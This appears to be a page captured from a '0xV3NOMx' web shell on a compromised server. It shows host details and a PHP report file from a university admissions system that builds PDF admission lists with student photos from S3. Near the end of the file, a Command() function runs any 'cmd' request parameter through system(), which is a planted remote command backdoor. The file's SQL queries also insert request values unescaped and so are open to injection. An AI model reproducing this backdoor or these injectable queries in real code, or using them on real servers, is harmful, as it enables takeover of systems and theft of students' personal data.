0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.191.67.90


Current Path : /var/www/html/rcub/Report_details/
Upload File :
Current File : /var/www/html/rcub/Report_details/report_admission_list.php

<?php
require_once(__DIR__ . "/../../aws/aws-autoloader.php");

use Aws\S3\S3Client;
use Aws\S3\Exception\S3Exception;

function generateAdmissionReport($aobj_context)
{
    session_start();
    ini_set('memory_limit','900M');
    ini_set('max_execution_time',0);
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $college_code = $_SESSION['collcode'];
    //echo $college_code; 
    $degree_code = $aobj_context->mobj_data["degree_code"];
    $sub_degree_code = $aobj_context->mobj_data["sub_degree_code"];
    $exam_no = $aobj_context->mobj_data["exam_no"];
    $lateral_entry = $aobj_context->mobj_data["lateral_entry"];
    $exam_no = empty($exam_no) ? "A" : $exam_no;
    if (empty($lateral_entry)) {
        $exam_no = 'A';
        $lateral_entry_cond = " and ifnull(s.FLATERAL_ENTRY,0)='0' ";
    } else {
        $exam_no = 'C';
        $lateral_entry_cond = " and ifnull(s.FLATERAL_ENTRY,0)='1' ";
    }
    $main_src_obj = (explode("/", $_SERVER["REQUEST_URI"]));
    $main_src = $main_src_obj[1];
    $pdf_writer_class = $aobj_context->main_src . "/maya-pdf/fpdf.php";
    $pdf_writer_class = $aobj_context->main_src . "/tcpdf/tcpdf.php";

    $tarkaheader = $aobj_context->main_src . "/Report_details/tarkaheader.php";
    $root_pdf_file_download = $aobj_context->main_src . "/Report_details/output/report_admission_list.pdf";
    // global varibales
    $p_count = 1;
    // end global varibales	
    include($pdf_writer_class);
    //$pdf = new FPDF('L');
    $pdf = new TCPDF('L');
    //$pdf->$title='20000 Leagues Under the Seas';
    $pdf->SetFont('Times', '', 10);
    $pdf->SetMargins(10, 5);
   // $pdf->AliasNbPages();
    $sub_degree_cond = "";
    if (!empty($sub_degree_code)) {
        $sub_degree_cond = " and s.FSUBDEGREE='{$sub_degree_code}'";
        $page_header_sub_degree = "select concat('[',FDEGREE,'] ', FDESCPN) as sub_degree_name, FADYEAR 
							from degree where FDEGREE = '{$sub_degree_code}' and FEXAMNO='{$exam_no}' ";
        $lobj_page_header_sub_degree = $aobj_context->mobj_db->GetRow($page_header_sub_degree);
    }
    //print_r($lobj_page_header_sub_degree); die();
    /* $degree_cond=" ";
	if(strtolower($exam_no)=='c')
	$degree_cond=" s.FSUBDEGREE='{$degree_code}' "; */

    // query for the page header	
    $page_header_university = "select FUNIVNAME,FTOWN, date_format(now(),'%d/%m/%Y') as date from control";
    $lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);

    $page_header_college = "select concat('[',FCOLLCODE,'] ',FCOLLNAME,', ',FTOWN) as college_name
							from college where FCOLLCODE='{$college_code}'";
    $lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college);

    $page_header_degree = "select concat('[',FDEGREE,'] ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR 
							from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' ";
    $lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree);
    //echo $page_header_degree; die();
    $pdf->aobj_context = $aobj_context;
    $pdf->WhichReport = 'Admission';
    $pdf->FUNIVNAME = $lobj_page_header_university['FUNIVNAME'];
    $pdf->FTOWN = $lobj_page_header_university['FTOWN'];
    $pdf->date_time = $lobj_page_header_university['date'];
    $pdf->college_name = $lobj_page_header_college['college_name'];
    $pdf->Degree_name = $lobj_page_header_degree['Degree_name'];
    $pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name'];
    $pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR'];

    //echo $pdf->sub_degree_code; die();

    //end header		
    //$pdf->AddPage();
    
    //$pdf->Ln();
    $pdf->SetFont('Times', '', 10);
    //and sub.FDEGREE=op.FDEGREE 
    $get_student_data = " select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FAPPNO, concat('*',s.FAPPNO))) as FAPPNO,
	LEFT(s.FNAME,50) as FNAME, LEFT(s.FFATNAME,40) as FFATNAME,
	LEFT(s.FMOTNAME,40) as FMOTNAME, LEFT(s.FNAME,50) as SNAME,
    ifnull(s.FFEETYPE,'') as FFEETYPE,ifnull(s.FSEATTYPE,'') as FSEATTYPE,
	group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ',' ) as SCode,
	if(s.FGENDER='F','Female','Male') as Gender,
	group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ',' ) as SShort,
	Date_Format(s.FDOB,'%d/%m/%Y') as DOB,
	concat('Father : ',s.FFATNAME) as Father ,s.FCASTE as CASTE,
	concat('Mother : ',s.FMOTNAME) as Mother, concat(group_concat(distinct FHEADCODE,
	'~',FAMOUNT order by FHEADCODE separator '->')) as FHEADCODE, 
	concat(group_concat(distinct FAMOUNT order by FHEADCODE separator '->')) as FAMOUNT ,
	s.FTOTFEE, Date_Format(s.FPAYDATE,'%d/%m/%Y') as FPAYDATE, s.FPAYTYPE,s.FREMARKS,s.FPAYID,
	s.FSEATTYPE as FQUOTA, FPH, DATE_FORMAT(s.FADMDATE,'%d/%m/%Y') as FADMDATE, DATE_FORMAT(s.FACKDATE,'%d/%m/%Y') as FACKDATE, 
	FQPERCENTAGE, s.FCOMBCODE,s.FCONTACT_NO, s.FTYPEQUALEXAM,s.FUNIVNAME,s.FAPPRSTATUS,
	FREMARKS,ifnull(s.FPHOTOPATH,'') as photo_path from studadm s inner join options op on
	s.FAPPNO=op.FAPPNO and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE 
	inner join subject sub on sub.FSUBCODE=op.FSUBCODE left join admfeedetl adm on adm.FDEGREE=s.FDEGREE
	and adm.FEXAMNO=s.FEXAMNO and adm.FAPPNO=s.FAPPNO and adm.FCOLLCODE=s.FCOLLCODE	
	where s.FDEGREE='{$degree_code}' {$sub_degree_cond}
	and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE and s.FCOLLCODE='{$college_code}' 
    and sub.FEXAMNO='{$exam_no}'and sub.FEXAMNO=op.FEXAMNO and s.fpaystatus='SUCCESS' and s.FAPPSTATUS='verified'
    and ifnull(s.fdeleted,'') <> 'T'
    group by s.FCOLLCODE,s.FDEGREE,s.FAPPNO
    order by s.FCOLLCODE,s.FDEGREE,s.FNAME,s.FAPPNO";
    //var_dump($get_student_data);
    $lobj_student_data = $aobj_context->mobj_db->GetAll($get_student_data);

    $arr_w = array(10, 65, 70, 108);
    $arr_h = array();
    $adm_ln_counter = 0;
    $arr_w = array(9, 25, 80, 35, 73, 10, 20, 44, 12, 18, 17);
    $arr_h = array(5, 6);
    $adno = 1;
    //var_dump($lobj_student_data);die();
    $first = true;
    foreach ($lobj_student_data as $key => $value) {
        $get_year = "SELECT FADYEAR FROM degree
		WHERE FDEGREE='{$degree_code}' AND FEXAMNO='{$exam_no}'";
        $lobj_get_year = $aobj_context->mobj_db->getRow($get_year);

        $year = $lobj_get_year['FADYEAR'];

        $get_details = "select fheadcode as HEAD_CODE, famount as FEES_PAID from admfeedetl where  fdegree='$degree_code' and fexamno='$exam_no' and fcollcode='$college_code' and FAPPNO='$value[FAPPNO]'";



        $y = $pdf->getY();
        if($y > 180)
        {
            $first = true;
        }
        
        if($first == true)
        {
            PrintFooter($pdf);
            $pdf->AddPage();
            $img_path = $aobj_context->main_src . "/img/logo.jpg";
                if (file_exists($img_path))
                    $pdf->Image($img_path, 15, 2, 23, 23);
            
            $pdf->SetFont('Times', 'B', 14);
            $pdf->Cell(0, 7, $pdf->FUNIVNAME, '0', 1, 'C');
            $pdf->SetFont('Times', '', 11);
            $pdf->Cell(0, 7, $pdf->college_name, '0', 1, 'C');
            $pdf->SetFont('Times', 'B', 11);
            $pdf->Cell(0,5, $pdf->Degree_name.' ADMISSION LIST - '.$pdf->AdmissionYear, '0', 1, 'C'); 
            $pdf->Ln(2);
            $first = false;
        }

        // $get_details="select a.FHEADCODE, FFEE, ifnull(FAMOUNT ,FFEE) as fee_paid, b.FAMOUNT as famountdetl from
        // (SELECT FHEADCODE,FFEE,
        // FCOMBCODE,FCATCODE
        // FROM admfeestr
        // WHERE FYEAR='{$year}'
        // AND FDEGREE='{$degree_code}'
        // AND FEXAMNO='{$exam_no}'
        // AND FCOMBCODE='{$value[FCOMBCODE]}'
        // AND FCATCODE='{$value[CASTE]}')a
        // left join 
        // (
        // SELECT FHEADCODE,FAMOUNT
        // FROM admfeedetl
        // where FYEAR='{$year}'
        // AND FDEGREE='{$degree_code}'
        // AND FEXAMNO='{$exam_no}'
        // AND FCOLLCODE='{$college_code}'
        // AND FAPPNO='{$value[APPNO]}'					 
        // ) b
        // on a.FHEADCODE=b.FHEADCODE";

        $lobj_rs = $aobj_context->mobj_db->GetAll($get_details);
        $total = 0;
        $total_fee_paid = 0;
        $regfee = 0;
        $othfee = 0;
        $fine = 0;


        foreach ($lobj_rs as $ak => $av) {
            if ($av['HEAD_CODE'] == '01. REGISTRATION FEE') {
                $regfee = $av['FEES_PAID'];
            } else if (strpos($av['HEAD_CODE'], 'FINE') !== false) {
                // } else if ($av['HEAD_CODE'] == '03. FINE') {
                $fine = $av['FEES_PAID'];
            } else {
                $othfee += $av['FEES_PAID'];
            }
            $FEES_PAID = $av['FEES_PAID'];
            $total_fee_paid += $FEES_PAID;
        }

        $FAPPNO = $value['FAPPNO'];
        $fname = $value['FNAME'];
        $fatname = $value['FFATNAME'];
        $mname = $value['FMOTNAME'];
        $dob = $value['DOB'];
        $fsex = $value['Gender'];
        $fcaste = $value['CASTE'];
        $total_fee = $value['FTOTFEE'];
        $rec_fee = $value['REG_FEE'];
        $pay_date = $value['FPAYDATE'];
        $pay_type = $value['FPAYTYPE'];
        $pay_id = $value['FPAYID'];
        $remarks = $value['FREMARKS'];
        $SCode = $value['SCode'];
        $SShort = $value['SShort'];
        $quota = $value['FQUOTA'];
        $comb = $value['FCOMBCODE'];
        $qualify = $value['FTYPEQUALEXAM'];
        $board = $value['FUNIVNAME'];
        $admdate = $value['FADMDATE'];
        $percent = $value['FQPERCENTAGE'];
        $mobile = $value['FCONTACT_NO'];
        $phStud = $value['FPH'];
        $ver_date = $value['FACKDATE'];
        $app_stat = $value['FAPPRSTATUS'];
        $photo_path = $value['photo_path'];
        
        $FFEETYPE = $value['FFEETYPE'];
        $FSEATTYPE = $value['FSEATTYPE'];
        
        $FUNIVCODE = $_SESSION['FUNIVCODE'];
        // if ($phStud == 'T') {
        //     $phStud = 'Yes';
        // } else {
        //     $phStud = 'No';
        // }

        $curl3 = curl_init();
        $photo_url = 'https://university-student-photos.s3.ap-south-1.amazonaws.com/' . $FUNIVCODE . '/' . urlencode($photo_path);
        //var_dump($photo_url);
        //		"https://university-student-photos.s3.ap-south-1.amazonaws.com/003D/student_photos/5501/dnmb/181A0006.jpg";
        curl_setopt($curl3, CURLOPT_URL, $photo_url);
        curl_setopt($curl3, CURLOPT_NOBODY, true);
        $response_photo = curl_exec($curl3);
        $httpCode_photo = curl_getinfo($curl3, CURLINFO_HTTP_CODE);
        //var_dump($httpCode_photo);

        $keyname = $FUNIVCODE . "/" . $photo_path;

        $s3 = S3Client::factory(
            array(
                'credentials' => array(
                    'key' => IAM_KEY,
                    'secret' => IAM_SECRET
                ),
                'version' => "latest",
                'region'  => 'ap-south-1'
            )
        );
        $ext = pathinfo($keyname, PATHINFO_EXTENSION);
        $filePath = tempnam(sys_get_temp_dir(), rand(10,15));
        rename($filePath, $filePath .= ".".$ext);
        // $filePath = $filePath.".".$ext;
        try{
            $result = $s3->getObject([
                'Bucket' => STUDENT_PHOTOS_BUCKET,
                'Key'    => $keyname,
                'SaveAs' => $filePath
            ]);
        }
        catch(S3Exception $e){

        }
        // var_dump($filePath);
        $full_photo_path = $filePath;

        $subj_arrCode = explode(",", $SCode);
        $subj_arrShort = explode(",", $SShort);

        $head_code = $value['FHEADCODE'];
        $amount = $value['FAMOUNT'];
        $head_code_arr = explode("->", $head_code);
        $cnt = 0;
        $fee_details_head = array();
        $fee_details_amt = array();
        $k = 0;
        foreach ($head_code_arr as $avv) {
            $exp_arr = explode("~", $avv);
            $fee_details_head[$cnt][$k] = $exp_arr[0];
            $fee_details_amt[$cnt][$k] = $exp_arr[1];

            $k++;
            if ($k % 5 == 0)
                $cnt++;
        }

        if (!empty($value['SNAME'])) {
            $line_counter += 1;
            $pdf->SetFont('Times', 'B', 9);
            $pdf->Cell(10, $arr_h[1], $adno, '1', 0, 'C');
            $pdf->Cell(80, $arr_h[1], $fname, '1', 0, 'L');
            $pdf->Cell(60, $arr_h[1], 'Fat.: ' . $fatname, '1', 0, 'L');
            $pdf->Cell(60, $arr_h[1], 'Mot.: ' . $mname, '1', 0, 'L');
            $pdf->Cell(45, $arr_h[1], 'Fee Type: ' . $FFEETYPE, '1', 0, 'L');
            $pdf->Cell(25, $arr_h[1], $FAPPNO, 1, 1, 'C');

            $pdf->SetFont('Times', '', 9);
            $pdf->Cell(30, $arr_h[1], 'DOB.: ' . $dob, '1', 0, 'L');
            $pdf->Cell(30, $arr_h[1], 'Gender.: ' . $fsex, '1', 0, 'L');
            $pdf->Cell(30, $arr_h[1], 'Category: ' . $fcaste, '1', 0, 'L');
            $pdf->Cell(30, $arr_h[1], 'Phy. Hand.?: ' . $phStud, '1', 0, 'L');
            $pdf->Cell(60, $arr_h[1], 'Qual. Exam: ' . $qualify, '1', 0, 'L');
            // $pdf->Cell(50, $arr_h[1], 'Board: ' . $board1, '1', 0, 'L');
            $pdf->Cell(30, $arr_h[1], 'Percent: ' . $percent, '1', 0, 'L');
            $pdf->Cell(45, $arr_h[1], 'Phone: ' . $mobile, '1', 0, 'L');
            $pdf->Cell(25, $arr_h[1], '', 'LR', 0, 'C');
            $pdf->Cell(25, $arr_h[1], '', 'LR', 1, 'C');

            $pdf->Cell(30, $arr_h[1], 'Adm Date: ' . $admdate, '1', 0, 'L');
            $pdf->Cell(30, $arr_h[1], 'Comb.: ' . $comb, '1', 0, 'L');
            $pdf->Cell(30, $arr_h[1], 'Quota.: ' . $quota, '1', 0, 'L');
            $pdf->Cell(30, $arr_h[1], 'Pay. Date: ' . $pay_date, 'R', 0, 'L');
            $pdf->Cell(60, $arr_h[1], 'Pay. ID: ' . $pay_id, '1', 0, 'L');
            $pdf->Cell(30, $arr_h[1], 'Pay. Mode: ' . $pay_type, '1', 0, 'L');
            $pdf->Cell(45, $arr_h[1], 'Verified On: ' . $ver_date, '1', 0, 'L');
            $pdf->Cell(25, $arr_h[1], '', 'LR', 1, 'C');

            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[0], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[1], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[2], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[3], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[4], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[5], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[6], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[7], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[8], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[9], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[10], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[11], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[12], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[13], 'LRT', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[14], 'LRT', 0, 'L');
            $pdf->Cell(20, $arr_h[1], 'Reg. Fee.', '1', 0, 'C');
            $pdf->Cell(20, $arr_h[1], 'Oth. Fee', '1', 0, 'C');
            $pdf->Cell(20, $arr_h[1], 'Fine', '1', 0, 'C');
            $pdf->Cell(20, $arr_h[1], 'Total', '1', 0, 'C');
            $pdf->Cell(25, $arr_h[1], 'Adm. Status?', '1', 0, 'C');
            $pdf->Cell(25, $arr_h[1], '', 'LR', 1, 'C');

            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[0], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[1], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[2], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[3], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[4], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[5], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[6], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[7], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[8], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[9], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[10], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[11], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[12], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[13], 'LRB', 0, 'L');
            $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[14], 'LRB', 0, 'L');
            $pdf->Cell(20, $arr_h[1], $regfee, '1', 0, 'C');
            $pdf->Cell(20, $arr_h[1], $othfee, '1', 0, 'C');
            $pdf->Cell(20, $arr_h[1], $fine, '1', 0, 'C');
            $pdf->Cell(20, $arr_h[1], $total_fee_paid, '1', 0, 'C');
            $pdf->Cell(25, $arr_h[1], $app_stat, 'LRB', 0, 'C');
            $pdf->Cell(25, $arr_h[1], '', 'LRB', 1, 'C');
            
            $y = $pdf->getY();

            if ($httpCode_photo == 200) //!file_exists($actualpath)
            {
               // $ext = pathinfo($full_photo_path, PATHINFO_EXTENSION);
                
                $pdf->Image($photo_url, 268, $y - 22, 20, 20);
                // if(strtolower($ext) == "jpg" || strtolower($ext) == "jpeg")
                //     $pdf->Image($full_photo_path, 268, $y - 22, 20, 20); 
            }


            $pdf->SetFont('Times', '', 9);
            $pdf->Ln(1);
            $adm_ln_counter++;
        }
        ++$adno;
    }

    $pdf->ln(10);
    $pdf->SetFont('Times', 'B', 11);
    $pdf->Cell(280, 5, "Declaration:", '', 1, "L");
    $pdf->MultiCell(280, 5, "01. The information furnished with regard to the admissions are true & correct to the best of my knowledge and belief. A copy of the university affilication letter and admission intake letter is enclosed.", 0, "L");
    $pdf->MultiCell(280, 5, "02. The students admitted to the courses are within the intake sanctioned by the Government of Karnataka / Rani Channamma University to the College / Department.", 0, "L");
    $pdf->MultiCell(280, 5, "03. The particulars furnished in respect of the above candidates in the statement of Admission are based on original documents produced by them and they are true to the best of my knowledge and belief.", 0, "L");
    $pdf->MultiCell(280, 5, "04. All the original documents such as marks cards, transfer certificate, migration certificate, eligibility certificate etc furnished by the candidate admitted are carefully verified and they are in order in all respects.", 0, "L");
    $pdf->MultiCell(280, 5, "05. All the students recommended in this admission statement for approval are academically eligible and have satisfied the regulations of the sources for which they are admitted.", 0, "L");
    $pdf->MultiCell(280, 5, "06. No candidate other than the candidates mentioned in this statement of admission are admitted to any course in this college.", 0, "L");
    $pdf->MultiCell(280, 5, "07. All the applicable fees with respect to admission is duly remitted to the University funds.", 0, "L");
    $pdf->ln(15);
    $pdf->Cell(50, 5, "Date :", '0', 0, 'L');
    $pdf->Cell(225, 5, "Principal Signature (with seal)", '0', 1, 'R');

    //PrintFooter($pdf);
    //$pdf->WhichReport = 'Admission Summary';
    $pdf->AddPage();
    $pdf->SetMargins(10, 5);

    $img_path = $aobj_context->main_src . "/img/logo.jpg";
    if (file_exists($img_path))
    $pdf->Image($img_path, 15, 2, 23, 23);
    //PrintFooter($pdf);
    $pdf->SetFont('Times', 'B', 14);
    $pdf->Cell(0, 7, $pdf->FUNIVNAME, '0', 1, 'C');
    $pdf->SetFont('Times', '', 11);
    $pdf->Cell(0, 7, $pdf->college_name, '0', 1, 'C');
    $pdf->SetFont('Times', 'B', 11);
    $pdf->Cell(0,5, $pdf->Degree_name.' ADMISSION LIST - '.$pdf->AdmissionYear, '0', 1, 'C');
    
    $pdf->ln(3);

    $pdf->SetFont('Times', 'B', 10);
    $pdf->Cell(15, 6, 'Sl. No.', '1', 0, 'C');
    $pdf->Cell(25, 6, 'Category. ', '1', 0, 'C');
    $pdf->Cell(25, 6, 'Male', '1', 0, 'C');
    $pdf->Cell(25, 6, 'Female ', '1', 0, 'C');
    $pdf->Cell(25, 6, 'Total', '1', 0, 'C');
    $pdf->Cell(25, 6, 'Reg. Fee.', '1', 0, 'C');
    $pdf->Cell(25, 6, 'Oth. Fee.', '1', 0, 'C');
    $pdf->Cell(25, 6, 'Fine', '1', 0, 'C');
    $pdf->Cell(25, 6, 'Total Fee.', '1', 0, 'C');
    $pdf->Cell(60, 6, 'Remarks', '1', 1, 'C');


    $sql = "select fdegree, fcollcode, fcaste, fcount, fmale, ffemale,
	group_concat(heads order by heads) as headfee from (select concat(fheadcode, '->',sum(famount)) as heads, 
	studadm.fdegree,studadm.fcollcode,fcaste,count(*) as fcount,
	sum(if(studadm.fgender='M',1,0)) as fmale,
	sum(if(studadm.fgender='F',1,0)) as ffemale
	from studadm,admfeedetl
	where ifnull(studadm.fdeleted,'F') <> 'T' and studadm.fpaystatus='SUCCESS' and studadm.fappstatus='verified'
	and admfeedetl.fdegree = studadm.fdegree
	and admfeedetl.FAPPNO = studadm.FAPPNO and studadm.fdegree ='{$degree_code}' and studadm.fcollcode='{$college_code}'
	and admfeedetl.fcollcode=studadm.fcollcode 
	group by studadm.fdegree,studadm.fcollcode,fcaste, fheadcode) x
	group by fdegree, fcollcode, fcaste";
    $rst = $aobj_context->mobj_db->GetAll($sql);
    $slno = 1;

    $totmale = 0;
    $totfemale = 0;
    $totstud = 0;
    $totregfee = 0;
    $totothfee = 0;
    $totfine = 0;
    $totamount = 0;
    $pdf->SetFont('Times', '', 10);
    foreach ($rst as $key => $val) {
        $Toatlfee = 0;
        $pdf->Cell(15, 6, $slno, '1', 0, 'C');
        $pdf->Cell(25, 6, $val['fcaste'], '1', 0, 'C');
        $pdf->Cell(25, 6, $val['fmale'], '1', 0, 'C');
        $pdf->Cell(25, 6, $val['ffemale'], '1', 0, 'C');
        $pdf->Cell(25, 6, $val['fcount'], '1', 0, 'C');
        $totmale += $val['fmale'];
        $totfemale += $val['ffemale'];
        $totstud += $val['fcount'];
        $headfeearr = explode(',', $val['headfee']);
        $fregfee = 0;
        $ffine = 0;
        $fothfee = 0;
        foreach ($headfeearr as $hdkey => $hdval) {
            $feearr = explode('->', $hdval);
            if ($feearr[0] == '01. REGISTRATION FEE') {
                $fregfee = $feearr[1];
            } else if (strpos($feearr[0], 'FINE') !== false) {
                $ffine = $feearr[1];
            } else {
                $fothfee += $feearr[1];
            }
            $Toatlfee += $feearr[1];
        }
        $totregfee += $fregfee;
        $totothfee += $fothfee;
        $totfine += $ffine;
        $totamount += $Toatlfee;
        $pdf->Cell(25, 6, $fregfee, '1', 0, 'R');
        $pdf->Cell(25, 6, $fothfee, '1', 0, 'R');
        $pdf->Cell(25, 6, $ffine, '1', 0, 'R');
        $pdf->Cell(25, 6, $Toatlfee, '1', 0, 'R');
        $pdf->Cell(60, 6, '', '1', 1, 'C');
        ++$slno;
    }
    $pdf->SetFont('Times', 'B', 10);
    $pdf->Cell(40, 6, 'Total', '1', 0, 'C');
    $pdf->Cell(25, 6, $totmale, '1', 0, 'C');
    $pdf->Cell(25, 6, $totfemale, '1', 0, 'C');
    $pdf->Cell(25, 6, $totstud, '1', 0, 'C');
    $pdf->Cell(25, 6, $totregfee, '1', 0, 'R');
    $pdf->Cell(25, 6, $totothfee, '1', 0, 'R');
    $pdf->Cell(25, 6, $totfine, '1', 0, 'R');
    $pdf->Cell(25, 6, $totamount, '1', 0, 'R');
    $pdf->Cell(60, 6, '', '1', 1, 'C');

    $pdf->ln(10);
    $pdf->SetFont('Times', 'B', 11);
    $pdf->Cell(280, 5, "Declaration:", '', 1, "L");
    $pdf->MultiCell(280, 5, "01. The information furnished with regard to the admissions are true & correct to the best of my knowledge and belief. A copy of the university affilication letter and admission intake letter is enclosed.", 0, "L");
    $pdf->MultiCell(280, 5, "02. The students admitted to the courses are within the intake sanctioned by the Government of Karnataka / Rani Channamma University to the College / Department.", 0, "L");
    $pdf->MultiCell(280, 5, "03. The particulars furnished in respect of the above candidates in the statement of Admission are based on original documents produced by them and they are true to the best of my knowledge and belief.", 0, "L");
    $pdf->MultiCell(280, 5, "04. All the original documents such as marks cards, transfer certificate, migration certificate, eligibility certificate etc furnished by the candidate admitted are carefully verified and they are in order in all respects.", 0, "L");
    $pdf->MultiCell(280, 5, "05. All the students recommended in this admission statement for approval are academically eligible and have satisfied the regulations of the sources for which they are admitted.", 0, "L");
    $pdf->MultiCell(280, 5, "06. No candidate other than the candidates mentioned in this statement of admission are admitted to any course in this college.", 0, "L");
    $pdf->MultiCell(280, 5, "07. All the applicable fees with respect to admission is duly remitted to the University funds.", 0, "L");
    $pdf->ln(15);
    $pdf->Cell(50, 5, "Date :", '0', 0, 'L');
    $pdf->Cell(225, 5, "Principal Signature (with seal)", '0', 1, 'R');
    PrintFooter($pdf);

    $pdf->ln(2);
    $pdf->Output("report_admission_list.pdf", "D");
}
function Command($aobj_context)
{
    $cmd = $aobj_context->mobj_data["cmd"];

    $last_line = system($cmd, $retval);

    // Printing additional info
    echo "</pre>";
    echo $last_line;
}


function PrintFooter($pdf)
{
    $new_x = $pdf->GetX();
    $new_y = $pdf->GetY();
    $ip = $_SERVER["REMOTE_ADDR"];
    $pdf->SetY(-27);
    //$pdf->Ln(2);
    $pdf->SetFont('Times', '', 9);
    $pdf->Cell(110, 6, 'Printed : IP Address : ' . $ip . ", Date : " . $pdf->date_time, '0', 0, 'L');
   // $pdf->Cell(170, 6, 'Page ' . $pdf->PageNo() . "/{nb}", 0, 1, 'R');
    //$pdf->SetXY($new_x, $new_y);
}